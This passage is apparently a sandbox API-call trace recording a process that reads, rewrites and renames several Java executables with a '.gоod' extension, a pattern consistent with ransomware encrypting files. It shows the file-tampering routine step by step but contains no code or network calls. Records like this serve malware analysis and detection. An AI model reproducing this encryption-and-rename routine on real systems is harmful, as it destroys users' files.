1 [0073.415] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f49c550) returned 1 [0073.415] MoveFileW (lpExistingFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javacpl.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javacpl.exe"), lpNewFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javacpl.exe.gоod" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javacpl.exe.gоod")) returned 1 [0073.627] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javaw.exe", nBufferLength=0x105, lpBuffer=0x1f49c100, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javaw.exe", lpFilePart=0x0) returned 0x30 [0073.627] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f49c5d0) returned 1 [0073.627] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javaw.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javaw.exe"), fInfoLevelId=0x0, lpFileInformation=0x342d460 | out: lpFileInformation=0x342d460*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa747934d, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa747934d, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa747934d, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x32840)) returned 1 [0073.627] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f49c590) returned 1 [0073.627] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javaw.exe", nBufferLength=0x105, lpBuffer=0x1f49bfb0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javaw.exe", lpFilePart=0x0) returned 0x30 [0073.627] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f49c4d0) returned 1 [0073.627] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javaw.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javaw.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6b0 [0073.627] GetFileType (hFile=0x6b0) returned 0x1 [0073.627] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f49c440) returned 1 [0073.627] GetFileType (hFile=0x6b0) returned 0x1 [0073.627] SetFilePointer (in: hFile=0x6b0, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f49c628*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f49c628*=0) returned 0x1000 [0073.627] ReadFile (in: hFile=0x6b0, lpBuffer=0x342d818, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f49c5f8, lpOverlapped=0x0 | out: lpBuffer=0x342d818*, lpNumberOfBytesRead=0x1f49c5f8*=0x1000, lpOverlapped=0x0) returned 1 [0073.628] CloseHandle (hObject=0x6b0) returned 1 [0073.629] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javaw.exe", nBufferLength=0x105, lpBuffer=0x1f49bfb0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javaw.exe", lpFilePart=0x0) returned 0x30 [0073.629] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f49c4d0) returned 1 [0073.629] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javaw.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javaw.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6b0 [0073.629] GetFileType (hFile=0x6b0) returned 0x1 [0073.629] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f49c440) returned 1 [0073.629] GetFileType (hFile=0x6b0) returned 0x1 [0073.629] SetFilePointer (in: hFile=0x6b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f49c628*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f49c628*=0) returned 0x32840 [0073.629] WriteFile (in: hFile=0x6b0, lpBuffer=0x342ea80*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f49c518, lpOverlapped=0x0 | out: lpBuffer=0x342ea80*, lpNumberOfBytesWritten=0x1f49c518*=0x10, lpOverlapped=0x0) returned 1 [0073.629] CloseHandle (hObject=0x6b0) returned 1 [0073.636] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javaw.exe", nBufferLength=0x105, lpBuffer=0x1f49bfb0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javaw.exe", lpFilePart=0x0) returned 0x30 [0073.636] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f49c4d0) returned 1 [0073.636] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javaw.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javaw.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6b0 [0073.636] GetFileType (hFile=0x6b0) returned 0x1 [0073.636] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f49c440) returned 1 [0073.636] GetFileType (hFile=0x6b0) returned 0x1 [0073.636] ReadFile (in: hFile=0x6b0, lpBuffer=0x3430d10, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f49c5a8, lpOverlapped=0x0 | out: lpBuffer=0x3430d10*, lpNumberOfBytesRead=0x1f49c5a8*=0x1000, lpOverlapped=0x0) returned 1 [0073.924] CloseHandle (hObject=0x6b0) returned 1 [0073.924] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javaw.exe", nBufferLength=0x105, lpBuffer=0x1f49bfb0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javaw.exe", lpFilePart=0x0) returned 0x30 [0073.924] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f49c4d0) returned 1 [0073.924] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javaw.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javaw.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6b0 [0073.924] GetFileType (hFile=0x6b0) returned 0x1 [0073.924] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f49c440) returned 1 [0073.924] GetFileType (hFile=0x6b0) returned 0x1 [0073.925] WriteFile (in: hFile=0x6b0, lpBuffer=0x342fa98*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f49c658, lpOverlapped=0x0 | out: lpBuffer=0x342fa98*, lpNumberOfBytesWritten=0x1f49c658*=0x1010, lpOverlapped=0x0) returned 1 [0073.925] CloseHandle (hObject=0x6b0) returned 1 [0073.929] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javaw.exe", nBufferLength=0x105, lpBuffer=0x1f49c100, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javaw.exe", lpFilePart=0x0) returned 0x30 [0073.929] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javaw.exe.gоod", nBufferLength=0x105, lpBuffer=0x1f49c100, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javaw.exe.gоod", lpFilePart=0x0) returned 0x35 [0073.929] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f49c590) returned 1 [0073.929] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javaw.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javaw.exe"), fInfoLevelId=0x0, lpFileInformation=0x1f49c670 | out: lpFileInformation=0x1f49c670*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa747934d, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa747934d, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x2846ccb4, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x32850)) returned 1 [0073.929] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f49c550) returned 1 [0073.929] MoveFileW (lpExistingFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javaw.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javaw.exe"), lpNewFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javaw.exe.gоod" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javaw.exe.gоod")) returned 1 [0073.930] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javaws.exe", nBufferLength=0x105, lpBuffer=0x1f49c100, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javaws.exe", lpFilePart=0x0) returned 0x31 [0073.930] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f49c5d0) returned 1 [0073.930] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javaws.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javaws.exe"), fInfoLevelId=0x0, lpFileInformation=0x36324e8 | out: lpFileInformation=0x36324e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa747934d, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa747934d, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa747934d, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x4e040)) returned 1 [0073.931] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f49c590) returned 1 [0073.931] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javaws.exe", nBufferLength=0x105, lpBuffer=0x1f49bfb0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javaws.exe", lpFilePart=0x0) returned 0x31 [0073.931] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f49c4d0) returned 1 [0073.931] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javaws.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javaws.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6b0 [0073.931] GetFileType (hFile=0x6b0) returned 0x1 [0073.931] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f49c440) returned 1 [0073.931] GetFileType (hFile=0x6b0) returned 0x1 [0073.931] SetFilePointer (in: hFile=0x6b0, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f49c628*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f49c628*=0) returned 0x1000 [0073.931] ReadFile (in: hFile=0x6b0, lpBuffer=0x36328a0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f49c5f8, lpOverlapped=0x0 | out: lpBuffer=0x36328a0*, lpNumberOfBytesRead=0x1f49c5f8*=0x1000, lpOverlapped=0x0) returned 1 [0073.935] CloseHandle (hObject=0x6b0) returned 1 [0073.936] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javaws.exe", nBufferLength=0x105, lpBuffer=0x1f49bfb0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javaws.exe", lpFilePart=0x0) returned 0x31 [0073.936] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f49c4d0) returned 1 [0073.936] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javaws.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javaws.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6b0 [0073.936] GetFileType (hFile=0x6b0) returned 0x1 [0073.936] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f49c440) returned 1 [0073.936] GetFileType (hFile=0x6b0) returned 0x1 [0073.936] SetFilePointer (in: hFile=0x6b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f49c628*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f49c628*=0) returned 0x4e040 [0073.936] WriteFile (in: hFile=0x6b0, lpBuffer=0x3633b08*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f49c518, lpOverlapped=0x0 | out: lpBuffer=0x3633b08*, lpNumberOfBytesWritten=0x1f49c518*=0x10, lpOverlapped=0x0) returned 1 [0073.937] CloseHandle (hObject=0x6b0) returned 1 [0073.945] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javaws.exe", nBufferLength=0x105, lpBuffer=0x1f49bfb0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javaws.exe", lpFilePart=0x0) returned 0x31 [0073.945] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f49c4d0) returned 1 [0073.945] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javaws.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javaws.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6b0 [0073.945] GetFileType (hFile=0x6b0) returned 0x1 [0073.945] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f49c440) returned 1 [0073.945] GetFileType (hFile=0x6b0) returned 0x1 [0073.945] ReadFile (in: hFile=0x6b0, lpBuffer=0x3635d98, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f49c5a8, lpOverlapped=0x0 | out: lpBuffer=0x3635d98*, lpNumberOfBytesRead=0x1f49c5a8*=0x1000, lpOverlapped=0x0) returned 1 [0074.637] CloseHandle (hObject=0x6b0) returned 1 [0074.637] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javaws.exe", nBufferLength=0x105, lpBuffer=0x1f49bfb0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javaws.exe", lpFilePart=0x0) returned 0x31 [0074.637] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f49c4d0) returned 1 [0074.637] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javaws.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javaws.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6b0 [0074.637] GetFileType (hFile=0x6b0) returned 0x1 [0074.637] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f49c440) returned 1 [0074.637] GetFileType (hFile=0x6b0) returned 0x1 [0074.637] WriteFile (in: hFile=0x6b0, lpBuffer=0x31b4698*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f49c658, lpOverlapped=0x0 | out: lpBuffer=0x31b4698*, lpNumberOfBytesWritten=0x1f49c658*=0x1010, lpOverlapped=0x0) returned 1 [0074.638] CloseHandle (hObject=0x6b0) returned 1 [0074.644] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javaws.exe", nBufferLength=0x105, lpBuffer=0x1f49c100, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javaws.exe", lpFilePart=0x0) returned 0x31 [0074.644] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javaws.exe.gоod", nBufferLength=0x105, lpBuffer=0x1f49c100, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javaws.exe.gоod", lpFilePart=0x0) returned 0x36 [0074.644] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f49c590) returned 1 [0074.644] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javaws.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javaws.exe"), fInfoLevelId=0x0, lpFileInformation=0x1f49c670 | out: lpFileInformation=0x1f49c670*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa747934d, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa747934d, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x28b47a9e, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x4e050)) returned 1 [0074.644] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f49c550) returned 1 [0074.644] MoveFileW (lpExistingFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javaws.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javaws.exe"), lpNewFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javaws.exe.gоod" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javaws.exe.gоod")) returned 1 [0074.645] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jjs.exe", nBufferLength=0x105, lpBuffer=0x1f49c100, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jjs.exe", lpFilePart=0x0) returned 0x2e [0074.645] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f49c5d0) returned 1 [0074.645] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jjs.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jjs.exe"), fInfoLevelId=0x0, lpFileInformation=0x327b7c0 | out: lpFileInformation=0x327b7c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa75aa64d, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa75aa64d, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa75aa64d, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x3e40)) returned 1 [0075.348] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f49c590) returned 1 [0075.348] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jjs.exe", nBufferLength=0x105, lpBuffer=0x1f49bfb0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jjs.exe", lpFilePart=0x0) returned 0x2e [0075.348] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f49c4d0) returned 1 [0075.348] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jjs.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jjs.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6b0 [0075.348] GetFileType (hFile=0x6b0) returned 0x1 [0075.348] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f49c440) returned 1 [0075.348] GetFileType (hFile=0x6b0) returned 0x1 [0075.348] SetFilePointer (in: hFile=0x6b0, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f49c628*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f49c628*=0) returned 0x1000 [0075.348] ReadFile (in: hFile=0x6b0, lpBuffer=0x336f840, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f49c5f8, lpOverlapped=0x0 | out: lpBuffer=0x336f840*, lpNumberOfBytesRead=0x1f49c5f8*=0x1000, lpOverlapped=0x0) returned 1 [0075.350] CloseHandle (hObject=0x6b0) returned 1 [0075.350] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jjs.exe", nBufferLength=0x105, lpBuffer=0x1f49bfb0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jjs.exe", lpFilePart=0x0) returned 0x2e [0075.350] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f49c4d0) returned 1 [0075.350] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jjs.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jjs.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6b0 [0075.350] GetFileType (hFile=0x6b0) returned 0x1 [0075.350] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f49c440) returned 1 [0075.350] GetFileType (hFile=0x6b0) returned 0x1 [0075.350] SetFilePointer (in: hFile=0x6b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f49c628*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f49c628*=0) returned 0x3e40 [0075.350] WriteFile (in: hFile=0x6b0, lpBuffer=0x3370a98*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f49c518, lpOverlapped=0x0 | out: lpBuffer=0x3370a98*, lpNumberOfBytesWritten=0x1f49c518*=0x10, lpOverlapped=0x0) returned 1 [0075.351] CloseHandle (hObject=0x6b0) returned 1 [0075.352] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jjs.exe", nBufferLength=0x105, lpBuffer=0x1f49bfb0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jjs.exe", lpFilePart=0x0) returned 0x2e [0075.352] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f49c4d0) returned 1 [0075.352] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jjs.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jjs.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6b0 [0075.352] GetFileType (hFile=0x6b0) returned 0x1 [0075.352] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f49c440) returned 1 [0075.352] GetFileType (hFile=0x6b0) returned 0x1 [0075.353] ReadFile (in: hFile=0x6b0, lpBuffer=0x3372d18, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f49c5a8, lpOverlapped=0x0 | out: lpBuffer=0x3372d18*, lpNumberOfBytesRead=0x1f49c5a8*=0x1000, lpOverlapped=0x0) returned 1 [0075.770] CloseHandle (hObject=0x6b0) returned 1 [0075.770] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jjs.exe", nBufferLength=0x105, lpBuffer=0x1f49bfb0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jjs.exe", lpFilePart=0x0) returned 0x2e [0075.770] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f49c4d0) returned 1 [0075.770] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jjs.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jjs.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6b0 [0075.770] GetFileType (hFile=0x6b0) returned 0x1 [0075.770] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f49c440) returned 1 [0075.771] GetFileType (hFile=0x6b0) returned 0x1 [0075.771] WriteFile (in: hFile=0x6b0, lpBuffer=0x3371ab0*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f49c658, lpOverlapped=0x0 | out: lpBuffer=0x3371ab0*, lpNumberOfBytesWritten=0x1f49c658*=0x1010, lpOverlapped=0x0) returned 1 [0075.771] CloseHandle (hObject=0x6b0) returned 1 [0075.772] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jjs.exe", nBufferLength=0x105, lpBuffer=0x1f49c100, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jjs.exe", lpFilePart=0x0) returned 0x2e [0075.772] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jjs.exe.gоod", nBufferLength=0x105, lpBuffer=0x1f49c100, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jjs.exe.gоod", lpFilePart=0x0) returned 0x33 [0075.772] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f49c590) returned 1 [0075.772] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jjs.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jjs.exe"), fInfoLevelId=0x0, lpFileInformation=0x1f49c670 | out: lpFileInformation=0x1f49c670*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa75aa64d, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa75aa64d, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x29602161, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x3e50)) returned 1 [0075.772] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f49c550) returned 1 [0075.772] MoveFileW (lpExistingFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jjs.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jjs.exe"), lpNewFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jjs.exe.gоod" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jjs.exe.gоod")) returned 1 [0075.773] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2launcher.exe", nBufferLength=0x105, lpBuffer=0x1f49c100, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2launcher.exe", lpFilePart=0x0) returned 0x36 [0075.773] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f49c5d0) returned 1 [0075.773] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2launcher.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jp2launcher.exe"), fInfoLevelId=0x0, lpFileInformation=0x363f4d0 | out: lpFileInformation=0x363f4d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa897bfc2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa897bfc2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa89a2223, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x1b640)) returned 1 [0075.774] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f49c590) returned 1 [0075.774] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2launcher.exe", nBufferLength=0x105, lpBuffer=0x1f49bfb0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2launcher.exe", lpFilePart=0x0) returned 0x36 [0075.774] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f49c4d0) returned 1 [0075.774] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2launcher.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jp2launcher.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, 